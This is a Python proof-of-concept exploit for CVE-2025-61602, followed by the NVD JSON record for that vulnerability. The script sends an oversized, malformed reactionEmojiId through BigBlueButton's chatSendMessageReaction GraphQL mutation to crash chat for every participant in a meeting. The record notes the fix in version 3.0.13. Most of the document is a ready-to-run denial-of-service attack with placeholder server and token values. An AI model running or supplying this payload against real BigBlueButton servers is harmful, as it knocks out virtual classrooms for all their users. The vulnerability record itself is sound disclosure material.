CVE-2025-61602

# CVE-2025-61602 PoC - BigBlueButton GraphQL DoS via malformed reactionEmojiId # Vulnerability: Unauthenticated (within authenticated session) DoS in chatSendMessageReaction import requests import json # Configuration BBB_SERVER = "https://your-bigbluebutton-server.com" MEETING_ID = "your-meeting-id" AUTH_TOKEN = "your-auth-token" # Valid authenticated session token # GraphQL endpoint (typical BigBlueButton haskell-server endpoint) GRAPHQL_URL = f"{BBB_SERVER}/graphql" def trigger_dos(): """ Send a malformed reactionEmojiId to crash the chat functionality for all participants in the meeting. """ # Malformed payload - the reactionEmojiId contains invalid/oversized data # that triggers an unhandled exception in the server-side parser payload = { "query": """ mutation SendReaction($chatMessageId: String!, $reactionEmojiId: String!) { chatSendMessageReaction( chatMessageId: $chatMessageId, reactionEmojiId: $reactionEmojiId ) { reactionEmojiId chatMessageId } } """, "variables": { "chatMessageId": "valid-chat-message-id", # Malformed reactionEmojiId - triggers the vulnerability "reactionEmojiId": "A" * 10000 + "\x00\xff\xfe" + "{{invalid}}" } } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } try: response = requests.post( GRAPHQL_URL, headers=headers, data=json.dumps(payload), timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except Exception as e: print(f"Request failed (expected if server crashed): {e}") if __name__ == "__main__": trigger_dos()

{"cve": {"id": "CVE-2025-61602", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:39.640", "lastModified": "2025-10-20T15:36:03.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BigBlueButton is an open-source virtual classroom. A denial-of-service (DoS) vulnerability in versions prior to 3.0.13 allows any authenticated user to crash the chat functionality for all participants in a meeting by sending a malformed `reactionEmojiId` in the GraphQL mutation `chatSendMessageReaction`. Version 3.0.13 contains a patch. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bigbluebutton:bigbluebutton:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.13", "matchCriteriaId": "0AF3725E-941E-4C75-AA27-20DC97552948"}]}]}], "references": [{"url": "https://github.com/bigbluebutton/bigbluebutton/pull/23651", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-45j2-m26c-3pcm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-45j2-m26c-3pcm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}